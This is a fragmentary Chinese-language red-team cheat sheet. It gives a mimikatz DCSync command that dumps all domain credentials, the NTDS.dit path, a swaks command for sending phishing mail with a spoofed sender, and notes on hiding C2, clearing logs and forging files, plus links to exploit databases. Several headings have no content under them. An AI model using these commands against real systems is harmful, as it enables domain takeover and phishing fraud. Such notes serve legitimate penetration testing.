工具：
提权漏洞：
获取域管后
1 2 C:\Windows\NTDS\NTDS.dit #获取到域所以用户的密码 lsadump::dcsync /domain:pentestlab.local /all /csv #mimikatz
红蓝总结 redteam细节 代理池 秒拨技术
https://cuiqingcai.com/4596.html
钓鱼 伪造邮箱nslookup -type=txt 163.com 查看目标邮件防护措施swaks --data aaa.eml--h-from "=?gb18030?B?x+XLrg==?=<admin@qq.com>" --from bbb@vul.com --to 11@qq.com --server mail.vul.com -au user -ap pass
https://www.jianshu.com/p/671bce334ea7
c2隐藏
http://test666.me/archives/227/ https://xz.aliyun.com/t/4509
https://github.com/jas502n/RedTeam-BCS https://evilwing.me/2019/04/14/redteam-gong-ji-ji-qiao-he-an-quan-fang-yu/
漏洞库 Exploits & Shellcodes: https://github.com/offensive-security/exploitdb https://github.com/offensive-security/exploitdb-bin-sploits https://github.com/offensive-security/exploitdb-papers
日志清扫 工具 文件伪造 md5 伪造 支持伪造：
使用方法：如图所示（其余script类同）
md5文件伪造：工具地址
关于pdf生成：
pocs/pdf/中提供图片(jpg/png)/文字转换pdf或者使用word打印转换pdf
[!] pdf.py需要先安装mutool工具
1 apt-get install mupdf-tools
应急响应 安全检查脚本：https://github.com/T0xst/linux
总结 cnvd共享库
http://www.cnvd.org.cn/shareData/list
[+]漏洞挖掘
函数细节:
安全面
[+]利用链思路
-蜜罐
